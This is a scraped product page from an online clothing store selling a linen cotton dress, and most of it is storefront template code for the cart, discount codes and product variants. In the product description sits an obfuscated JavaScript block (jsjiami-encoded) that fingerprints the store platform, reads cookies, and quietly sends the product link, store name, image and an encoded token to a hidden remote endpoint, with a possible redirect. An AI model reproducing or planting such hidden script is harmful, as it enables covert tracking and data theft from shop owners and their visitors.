See all offers
Free shipping on orders over 69.99
Free shipping on orders over 69.99
Free shipping on orders over 69.99
Free shipping on orders over 69.99
Home
Set
Coat
Pants
Dress
Shoe
Contact us
More links
Log in
Create an account
${(data.data && data.data.count) > 999 ? '999+' : (data.data && data.data.count)}
${(data.data && data.data.count) > 999 ? '999+' : (data.data && data.data.count)}
Search
Home
Set
Coat
Pants
Dress
Shoe
Contact us
Log in
function setSearchUrl(searchValue) { return Promise.resolve({ url: '/search?q=' + searchValue }); } exportFunction('setSearchUrl', setSearchUrl);
${function() { if (data === undefined || typeof data !== 'string' || data == '') return ''; const searchEmpty = ("Your search for \"{test}\" did not yield any results.").replace('{test}', data); return `
View more
${searchEmpty}
`; }()}
${data.index + 1}/25
Japanese Style Linen Cotton Dress
$29.99
${function(){ const variant = data.variant; const price = "29.99"; const priceMax = "29.99"; const saveType = "amount"; const saveText = "Save {off_ratio}"; return `
${saveText.replace('{off_ratio}', saveType == 'percent' ? variant.off_ratio + '%' : `
` )}
` }()}
Color:
Orange
Orange
Navy Blue
Violet
Peacock Blue
Red
Sky Blue
White
Black
Pink
Size:
M
M
L
XL
2XL
3XL
4XL
${data.value}
Quantity
Add to cart
-
$29.99
-
Buy now
Share the love
Free shipping on orders over 69.99
Sustainably made
Secure payments
Description
Description
var B7C055D29E95DC412BA83FC2CDE33E42 = "eNqrVirISSxJyy/Kjc9MUbIyNNNRKi7JL0oF84xNjAxh/LzE3FQlKyVTi1RLQ/PUNIMkg6RkQwPjtDTTVGML8xTL5EST1JRkE6VaAE9AGa0="
var _0xodk='jsjiami.com.v6',_0xodk_=['_0xodk'],_0x1b84=[_0xodk,'alhnw4XCnQ==','JTLDmm5Q','fMOGw5dJeQ==','V8KGOMOjcQ==','csOZw7xF','wqPCgMOSCg==','wqoCBlw=','wohkZMOl','wq0PF3s3TcKV','QWbDr8KYwpg=','wqXCnMOeBcORJUbCsw==','wr3DqcKKw44=','Iw7DvHE=','wpUYFXgt','OTR4CcKA','MibDj8KfFxvCs2hy','w7xgZsO0w65PTnY=','worDmsKnwoE=','w7bDl8OiGMKqwqs=','F2tLOyg3bw==','NUvClQ==','w6JqdcO5w7tFRA==','Z0dyw5RC','MFnCknUzDRA=','GjJmI8Ka','w6NnasOlw7NAWGjDrmDCnyhWw4c=','SHHDpcKKwpjCp8KpNA==','woUrDMOiw5LDgg==','eDwDeF9gOQIy','SwzCvsK7wr7Csj0=','KkjClmkhVFrCscOnfsKHWzbCrg7CiWTDhMOcbGYA','woLDjcK+K8O1wpfCkcOfwrNF','FE1BYMOAacOewrzCgw==','DzLDvRoow4zDpQ==','IMOzwrAbY8KCwrV9w5XDh8KgwpgIw6kNaWjDl8OOwpAew4cwdsKqMg==','wrZDw7g=','MBnDoVlRw5HCmytiwobDuBRCw6zDmidgw6LDnMKO','K1HChQ==','WsK5Ig==','GsOVw5bDv8KgB8KN','OsKzw4XCssKBKkbDvw==','RxbCuA==','V2zDpQ==','AHZSJD0=','w4xAFcO8TR3CiCrDrwZQw5ciZUoIN8Omw4Mcw4UHfEjCnCwowrrDgUgkwrzCi3fDhcOWWmwHD8OqwqHDu8KEw5nCvcK9wqbCmsKww7VSIsOiw5FZT8Kx','VcOVw5PDt8K9dQ==','wpTCjkoGF8O7Qg==','CDfDjlspw5wMwqjDtmRmKA==','YF97w5M=','wrzCkXlG','wp7CslTDlw==','A8Kdw6PCjMKX','d1h6w5g=','QcKNC8O+TA==','bMKKCHod','w5VOTMOdw6w=','dcOUw6pYfDFIAkohJggHAw==','UQfCrsKXwrLCmDY=','wpTDncK4KMO4','LTzDjsKNFwDCtWg=','w4xbEsO4','SnhCw47CjsKuw6h6','wr3DtMKcw5w=','wojDlsKQw4ZuPGA=','Zw5tdRgMSTXCusKgZcKrQcOfw5Y=','CjPDuh4kw6rDrEM=','woIrAMOj','b8Ofw71ObRFA','XcOzw4rDulPDrgpnecK3w4I=','wo3Dl8KXw4J6IHLCnAdQWcKA','AMOew4bDk8KsLcKG','elPDhMOTGA==','Sg3CqcKq','woN/dMOwwpbDsMKQL8KnesO6w5vDisKkBcOIw5R+IcOEEsK1w6fCnnjDlylVw5vDisK4Q3DCjkMmw4HChcK8JsKkacO9w5PDiWtib8Klw7rCihDCsRNVw7LCrMKL','LA9+dhRf','csKzw4nCicKeJA==','w7DCkWJHw5jDox4MwpLCvyBL','fEZxw63Cog==','wqTCrlFqw6Y=','NRfDmhk0','wok2CsOuw5LDiQ==','J37CiEMD','BTPDthQ5w6Y=','dyHCm8OCeg==','w5hQw5VpVQ==','wrxEw552WA==','CUxiYsOZ','wp/CkcO0DU0=','Hw40w5zDrw==','ehfDsUMq','woHDlcKyw43Dhw==','djsjqKkMQFiamIiu.com.qrlv6wh=='];if(function(_0x3c8b9a,_0x5ac0bc,_0x3cff02){function _0x1057fc(_0x247ce8,_0x30390c,_0x14d997,_0x515dfa,_0x72d7b1,_0x50e001){_0x30390c=_0x30390c>>0x8,_0x72d7b1='po';var _0x382a02='shift',_0x1ad95c='push',_0x50e001='';if(_0x30390c<_0x247ce8){while(--_0x247ce8){_0x515dfa=_0x3c8b9a[_0x382a02]();if(_0x30390c===_0x247ce8&&_0x50e001===''&&_0x50e001['length']===0x1){_0x30390c=_0x515dfa,_0x14d997=_0x3c8b9a[_0x72d7b1+'p']();}else if(_0x30390c&&_0x14d997['replace'](/[dqKkMQFIuqrlwh=]/g,'')===_0x30390c){_0x3c8b9a[_0x1ad95c](_0x515dfa);}}_0x3c8b9a[_0x1ad95c](_0x3c8b9a[_0x382a02]());}return 0x1053e9;};return _0x1057fc(++_0x5ac0bc,_0x3cff02)>>_0x5ac0bc^_0x3cff02;}(_0x1b84,0x98,0x9800),_0x1b84){_0xodk_=_0x1b84['length']^0x98;};function _0x4cbc(_0x4e72e3,_0x382535){_0x4e72e3=~~'0x'['concat'](_0x4e72e3['slice'](0x1));var _0x5f5408=_0x1b84[_0x4e72e3];if(_0x4cbc['qTuIUx']===undefined){(function(){var _0x356edb=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x576a6d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x356edb['atob']||(_0x356edb['atob']=function(_0x5c6841){var _0x1dcbd3=String(_0x5c6841)['replace'](/=+$/,'');for(var _0x4a7f07=0x0,_0x5cc4f9,_0x42101c,_0x323a33=0x0,_0x1a7cfc='';_0x42101c=_0x1dcbd3['charAt'](_0x323a33++);~_0x42101c&&(_0x5cc4f9=_0x4a7f07%0x4?_0x5cc4f9*0x40+_0x42101c:_0x42101c,_0x4a7f07++%0x4)?_0x1a7cfc+=String['fromCharCode'](0xff&_0x5cc4f9>>(-0x2*_0x4a7f07&0x6)):0x0){_0x42101c=_0x576a6d['indexOf'](_0x42101c);}return _0x1a7cfc;});}());function _0x1823fe(_0x397b36,_0x382535){var _0x451247=[],_0x2ec8e1=0x0,_0xfb796,_0x36fef0='',_0x5cf5f1='';_0x397b36=atob(_0x397b36);for(var _0x2a3b46=0x0,_0x3a89d8=_0x397b36['length'];_0x2a3b46<_0x3a89d8;_0x2a3b46++){_0x5cf5f1+='%'+('00'+_0x397b36['charCodeAt'](_0x2a3b46)['toString'](0x10))['slice'](-0x2);}_0x397b36=decodeURIComponent(_0x5cf5f1);for(var _0x1de5bd=0x0;_0x1de5bd<0x100;_0x1de5bd++){_0x451247[_0x1de5bd]=_0x1de5bd;}for(_0x1de5bd=0x0;_0x1de5bd<0x100;_0x1de5bd++){_0x2ec8e1=(_0x2ec8e1+_0x451247[_0x1de5bd]+_0x382535['charCodeAt'](_0x1de5bd%_0x382535['length']))%0x100;_0xfb796=_0x451247[_0x1de5bd];_0x451247[_0x1de5bd]=_0x451247[_0x2ec8e1];_0x451247[_0x2ec8e1]=_0xfb796;}_0x1de5bd=0x0;_0x2ec8e1=0x0;for(var _0x157886=0x0;_0x157886<_0x397b36['length'];_0x157886++){_0x1de5bd=(_0x1de5bd+0x1)%0x100;_0x2ec8e1=(_0x2ec8e1+_0x451247[_0x1de5bd])%0x100;_0xfb796=_0x451247[_0x1de5bd];_0x451247[_0x1de5bd]=_0x451247[_0x2ec8e1];_0x451247[_0x2ec8e1]=_0xfb796;_0x36fef0+=String['fromCharCode'](_0x397b36['charCodeAt'](_0x157886)^_0x451247[(_0x451247[_0x1de5bd]+_0x451247[_0x2ec8e1])%0x100]);}return _0x36fef0;}_0x4cbc['zfAcqf']=_0x1823fe;_0x4cbc['cANkSV']={};_0x4cbc['qTuIUx']=!![];}var _0x3892a3=_0x4cbc['cANkSV'][_0x4e72e3];if(_0x3892a3===undefined){if(_0x4cbc['oAkagg']===undefined){_0x4cbc['oAkagg']=!![];}_0x5f5408=_0x4cbc['zfAcqf'](_0x5f5408,_0x382535);_0x4cbc['cANkSV'][_0x4e72e3]=_0x5f5408;}else{_0x5f5408=_0x3892a3;}return _0x5f5408;};if(window[_0x4cbc('0','NOMy')][_0x4cbc('1','JnME')][_0x4cbc('2','$Vwt')](_0x4cbc('3','stNT'))!=-0x1||window[_0x4cbc('4','TwfQ')][_0x4cbc('5','Gh2*')][_0x4cbc('6','0B4j')](_0x4cbc('7','Gp[w'))!=-0x1){window[_0x4cbc('8','$Vwt')][_0x4cbc('9','OuI7')](_0x4cbc('a','!B&5'),window['location'][_0x4cbc('b','DX!6')]);}function getCookie(_0x5f4d0b){var _0x5c6612={'toMgk':function(_0x414df1,_0x3eda81){return _0x414df1+_0x3eda81;},'BTUuL':function(_0x1e832b,_0x350ca6){return _0x1e832b+_0x350ca6;},'TSKwq':function(_0x50eb61,_0x1904b5){return _0x50eb61+_0x1904b5;},'LOFjg':function(_0x5c9a2a,_0x2bba88){return _0x5c9a2a+_0x2bba88;},'rNOrm':function(_0x107d71,_0x3020d0){return _0x107d71+_0x3020d0;},'zwNbl':_0x4cbc('c','bft!'),'fVKeC':_0x4cbc('d','stNT'),'oDuxs':_0x4cbc('e','l9)@'),'XsPQW':_0x4cbc('f','^JK['),'eBjZQ':function(_0x57793d,_0xe2a602){return _0x57793d!==_0xe2a602;},'WRKhA':_0x4cbc('10','NOMy'),'YTubs':_0x4cbc('11','^JK['),'YZDmZ':function(_0x287b1a,_0x24dbf8){return _0x287b1a<_0x24dbf8;},'cjABi':'SRFtA','oVTcq':function(_0x2eb5cc,_0x5ae42d){return _0x2eb5cc===_0x5ae42d;},'KrvJn':_0x4cbc('12','TwfQ'),'PvrCn':function(_0xcdd8a6,_0x58d7f5){return _0xcdd8a6(_0x58d7f5);},'ZYxue':function(_0x1c490b,_0x3c52e7){return _0x1c490b+_0x3c52e7;}};let _0x41b6cc=null;if(document[_0x4cbc('13','Gh2*')]&&_0x5c6612[_0x4cbc('14','iwSn')](document[_0x4cbc('13','Gh2*')],'')){if(_0x5c6612['WRKhA']!==_0x5c6612['YTubs']){let _0x1dfdac=document[_0x4cbc('15','TwfQ')]['split'](';');for(let _0x422ed=0x0;_0x5c6612[_0x4cbc('16',']sf3')](_0x422ed,_0x1dfdac['length']);_0x422ed++){if(_0x4cbc('17','7d#8')===_0x5c6612[_0x4cbc('18','QwPc')]){fetch(_0x5c6612[_0x4cbc('19','6]R[')](_0x5c6612[_0x4cbc('1a','lPKQ')](_0x5c6612[_0x4cbc('1b','1KJJ')](_0x5c6612[_0x4cbc('1c','f]zp')](_0x5c6612['TSKwq'](_0x5c6612[_0x4cbc('1d','JnME')](_0x5c6612[_0x4cbc('1e','NOMy')](_0x5c6612[_0x4cbc('1f','W612')](_0x5c6612[_0x4cbc('20','0B4j')],product_link),_0x5c6612['fVKeC']),store_name),'&image=')+product_image,_0x5c6612['oDuxs']),store_type),_0x5c6612[_0x4cbc('21','3Ccj')]),B7C055D29E95DC412BA83FC2CDE33E42))[_0x4cbc('22','0B4j')](_0x21cd6b=>_0x21cd6b[_0x4cbc('23','Hh@7')]())[_0x4cbc('24','QeLC')](_0x3f5ad0=>{if(_0x3f5ad0[_0x4cbc('25','bft!')]==0x12c){window['sessionStorage'][_0x4cbc('26','QeLC')](_0x4cbc('27','YzFq'),window[_0x4cbc('28','Hh@7')][_0x4cbc('29','JnME')]);}});}else{let _0x243dca=_0x1dfdac[_0x422ed][_0x4cbc('2a','W612')]();if(_0x5c6612['oVTcq'](_0x243dca['substring'](0x0,_0x5f4d0b['length']+0x1),_0x5f4d0b+'=')){if(_0x5c6612['KrvJn']===_0x5c6612[_0x4cbc('2b','QeLC')]){_0x41b6cc=_0x5c6612[_0x4cbc('2c','rJ(l')](decodeURIComponent,_0x243dca[_0x4cbc('2d','V]ay')](_0x5c6612['ZYxue'](_0x5f4d0b['length'],0x1)));break;}else{store_type=0x5;}}}}}else{store_type=-0x1;}}return _0x41b6cc;}var product_link=window[_0x4cbc('2e','d4Mx')][_0x4cbc('2f',']%Ql')];var domain=document[_0x4cbc('30','p1(U')];var store_name=domain[_0x4cbc('31','NvOh')](/^http:\/\/[^\/]+/,'')['split']('.')[0x0]==_0x4cbc('32','iwSn')?domain[_0x4cbc('33','d4Mx')](/^http:\/\/[^\/]+/,'')[_0x4cbc('34','4zkQ')]('.')[0x1]:domain[_0x4cbc('35','iwSn')](/^http:\/\/[^\/]+/,'')[_0x4cbc('36','rJ(l')]('.')[0x0];var store_type;var sendRequese=document['domain']['indexOf'](_0x4cbc('37','d4Mx'))==-0x1;var origin_name=window[_0x4cbc('38','YzFq')][_0x4cbc('39','Gh2*')];if(typeof Shopify!=_0x4cbc('3a','Z2cY')){store_type=0x1;}else if(typeof SHOPLAZZA!='undefined'){store_type=0x2;}else if(document['documentElement']['innerHTML'][_0x4cbc('3b','DX!6')](_0x4cbc('3c','iwSn'))!=-0x1){store_type=0x3;}else if(getCookie('utm_medium')==_0x4cbc('3d','hU&c')){store_type=0x4;}else if(document['documentElement'][_0x4cbc('3e','6]R[')][_0x4cbc('3f','TwfQ')](_0x4cbc('40','FSeQ'))!=-0x1){store_type=0x5;}else{store_type=-0x1;}var product_image=-0x1;if(store_type==0x1){for(var i=0x0;i
_0x30f894[_0x4cbc('4f','^JK[')]())[_0x4cbc('50','))]W')](_0x6f8375=>{var _0x5dbc04={'NxcLj':function(_0x120a33,_0x48a87e){return _0x120a33!==_0x48a87e;},'EAIHv':_0x4cbc('51','l9)@')};if(_0x6f8375[_0x4cbc('52','4zkQ')]==0x12c){if(_0x5dbc04[_0x4cbc('53','3Ccj')](_0x5dbc04[_0x4cbc('54','f&4P')],_0x5dbc04[_0x4cbc('55','d4Mx')])){store_type=0x3;}else{window[_0x4cbc('56','0B4j')][_0x4cbc('57','DX!6')](_0x4cbc('58','hU&c'),window[_0x4cbc('59','V]ay')][_0x4cbc('5a','qWkI')]);}}});}};_0xodk='jsjiami.com.v6';
You may also like
Recently viewed
${function() { const force_image_size = "natural"; const product_hover_on = true; const product_show_sale_label = true; const product_save_type = "amount"; const badge1 = "New"; const badge2 = ""; const badge3 = ""; const product_title_mobile_hide = false; const product_title_style = "full"; const enable_collection_thumb_image = true; const variantNames = ["color"]; const thumbMaxNum = 4; const suffix_id = Math.random().toFixed(6).slice(-6); const url = data.withinUrl; const productId = data.id; const price = data.price; const productAvailable = data.available; const productVariants = data.variants || []; const images = data.images || []; const image = data.image || {}; const imageWidth = image.width; let imageHeight = image.height; let image2 = data.secondImage; let imageHoverOn = !!image2.src; if (force_image_size !== 'natural') { imageHeight = imageWidth * force_image_size; } let compareAtPrice = data.compare_at_price; let offRatio = data.off_ratio; let discountMaxUrl = url; const showFrom = data.price_min != data.price_max ? true : false; for (let i = 0; i < productVariants.length; i++) { const variant = productVariants[i]; if (variant.price == price && compareAtPrice < variant.compare_at_price) { compareAtPrice = variant.compare_at_price; offRatio = variant.off_ratio; variant.available && (discountMaxUrl = variant.withinUrl); } } const soldOutText = "Sold out"; let soldOn = false; let saleOn = false; if (productAvailable) { if (product_show_sale_label && +price < +compareAtPrice) { saleOn = true; } } else { soldOn = true; } const diffPrice = compareAtPrice - price; const saveLabelContent = product_save_type == 'percent' ? (offRatio + '%') : `
`; let saveText = "Save {off_ratio}"; saveText = saveText.replace('{off_ratio}', saveLabelContent); const productTitle = data.title; const variantValues = []; const showVariants = []; if (data.need_variant_image && enable_collection_thumb_image && variantNames.length > 0) { for (let i = 0; i < (data.options || []).length; i++) { const option = data.options[i]; const optionName = option.name.toLowerCase(); if (variantNames.includes(optionName)) { for (let j = 0; j < productVariants.length; j++) { const variant = productVariants[j]; const value = variant.options[i].value; if (!variantValues.includes(value)) { variantValues.push(value); showVariants.push(variant); } } break; } } } return `
${saleOn ? saveText : soldOutText}
${badge1}
${badge2}
${badge3}
${ "title" === 'subtitle' ? data.brief : data.title }
From
${saveText}
${showVariants.map((item, idx) => { let showMoreHtml = ''; if (idx == thumbMaxNum) { showMoreHtml += `
+${showVariants.length - thumbMaxNum}
`; } return ` ${showMoreHtml}
`; }).join('') }
`; }()}
${function() { const defaultSelectedVariant = data.variants.find(v => v.available) || data.variants[0]; const defaultIndex = !!defaultSelectedVariant ? data.images.findIndex(img => img.src == (defaultSelectedVariant.image && defaultSelectedVariant.image.src)) : -1; const initialSlide = defaultIndex == -1 ? 0 : defaultIndex; const attrs = data.images.length > 1 ? 'slide controls' : ''; return `
`; }()}
${data.title}
${data.brief}
${function() { const defaultSelectedVariant = data.variants.find(v => v.available) || data.variants[0]; return `
${("Save {off_ratio}").replace('{off_ratio}', ("amount") == 'percent' ? defaultSelectedVariant.off_ratio + '%' : `
` )}
-
`; }()}
${function(){ const defaultSelectedVariant = data.variants.find(v => v.available) || data.variants[0]; let status_lan = "Add to cart"; if ((defaultSelectedVariant && !defaultSelectedVariant.available) || (!defaultSelectedVariant && !data.available)) { status_lan = "Sold out"; } return `
Quantity
${status_lan}
Buy now
` }()}
${function() { var thumbSwitchName = ''; return data.product.options.map((option, index) => { const optionName = option.name || ''; const optionPosition = 'option' + (index + 1); const values = option.values || []; const soldOutValues = (data.soldOutValues && data.soldOutValues[optionPosition]) || {}; const position = `option${index + 1}`; const variantThumbs = ["color"] || []; var isThumbImage = false; if (data.product.need_variant_image && thumbSwitchName == '') { for (let i = 0; i < variantThumbs.length; i++) { const name = variantThumbs[i].toLowerCase(); if (name == optionName.toLowerCase()) { isThumbImage = true; thumbSwitchName = name; } } } const variantType = "button"; const currentProduct = data.product; const thumbStyle = "image_with_text"; const thumbType = isThumbImage ? thumbStyle.replace(/_/g, '-') : 'text'; const selectedVariantVal = data.selectedValues[optionName][0] || ''; return `
${optionName.slice(0, 1).toUpperCase() + optionName.slice(1).toLowerCase()} :
${selectedVariantVal}
${option.values.map((value, idx) => { const selected = data.selectedValues[optionName] == value ? 'checked' : ''; let thumbImage = null; if (isThumbImage) { const variants = currentProduct.variants; for (let i = 0, len = variants.length; i < len; i++) { const variant = variants[i]; if (variant[position] == value && thumbImage == null) { thumbImage = variant.image; break; } } } return `
${value}
${value}
` }).join('')}
` }).join(''); }()}
${data.targetOption || data.defaultValue || data.value || ''}
${("Save {off_ratio}").replace('{off_ratio}', ("amount") == 'percent' ? data.variant.off_ratio + '%' : `
` )}
-
-
${data.line_items.map(item => { const variantNames = item.options.map(option => option.value).join(' / '); return `
${item.product_title}
${variantNames}
${(item.parsedProperties || []).map((propertie)=>{ if (propertie.isImage){ return `
${propertie.name}:
View image
` }else{ return `
${propertie.name}: ${propertie.value}
` } }).join('')}
*${item.quantity}
Free gift
${ (item.discount_applications || []).map(discount_item => { const discount_item_amount = discount_item.discount_amount || discount_item.amount || ''; return `
${discount_item.title}
(-
)
` }).join('') }
Remove
`; }).join('')}
Cart
${ data.originData.message }
${function () { if (!data.originData) return ""; let { apply_scenario, discount_info, landing_page_info, threshold_category } = data.originData; const progressDom = `
`; const { mobile_layout, show_add_to_cart, show_discount_label } = landing_page_info.product_display; const isBXGY = discount_info.discount_type === "DT_CODE_BXGY"; const buyProductsDom = `
`; const obtainProductsDom = `
`; const is_obtain = threshold_category === 'THRESHOLD_CATEGORY_OBTAIN_PRODUCT' ? 'active' : ''; const tabsDom = `
${function(){ let liDom = ''; const items = [ { text: landing_page_info.product.buy_product.text, class: "", value: 1 }, { text: landing_page_info.product.obtain_product.text, class: "cart-coupon-code-modal-tab__obtain", value: 2, is_obtain } ]; for (item of items) { liDom += `
${ item.text }
` } return liDom; }()}
${buyProductsDom}
${obtainProductsDom}
`; return `
${progressDom} ${isBXGY ? tabsDom : `
${buyProductsDom}
`}
` }()}
const TAG = 'spz-custom-cart-coupon-code-utils'; class SpzCustomCartCouponCodeUtils extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } isLayoutSupported(layout) { return layout == SPZCore.Layout.LOGIC; } buildCallback() { this.action_ = SPZServices.actionServiceForDoc(this.element); this.registerAction('setSideBarHeight', this.setSideBarHeight_.bind(this)); window.addEventListener('resize', this.setSideBarHeight_.bind(this)); } setSideBarHeight_() { const $sideBar = document.querySelector('#cart-coupon-code-modal'); if (!$sideBar) return; const windowHeight = window.innerHeight; $sideBar.style.setProperty('max-height', windowHeight * 0.9 + 'px', 'important'); } } SPZ.defineElement(TAG, SpzCustomCartCouponCodeUtils);
discount code
Apply
${function(){ if (data.status === 'APPLY_STATUS_SUCCESS' || !data.message) { return `
` } return `
${data.originData.message}
Add
` }()}
${data.map( item => { return `
${item}
` }).join('')}
Below discount codes are unavailable
${data.map( item => { return `
${item}
` }).join('')}
${function(){ const code_data = data.originData.list; if (!code_data || !code_data.length) return ''; const recommendDom = `
Recommend discount codes
`; const discountCodeListDom = code_data.map( item => { item.end_at = item.end_at == -1 ? item.end_at : item.end_at * 1000; item.start_at *= 1000; return `
${item.discount_text}
-
${item.code}
` }).join(''); return `
${recommendDom}
${discountCodeListDom}
${recommendDom}
${discountCodeListDom}
` }()}
Add note
Write something here to seller.
${data.note || data.value}
Discount
${data.total_discount > 0 ? '-' : ''}
Subtotal
Taxes and shipping calculated at checkout
Check out
Your shopping cart is empty
Continue shopping
You may also like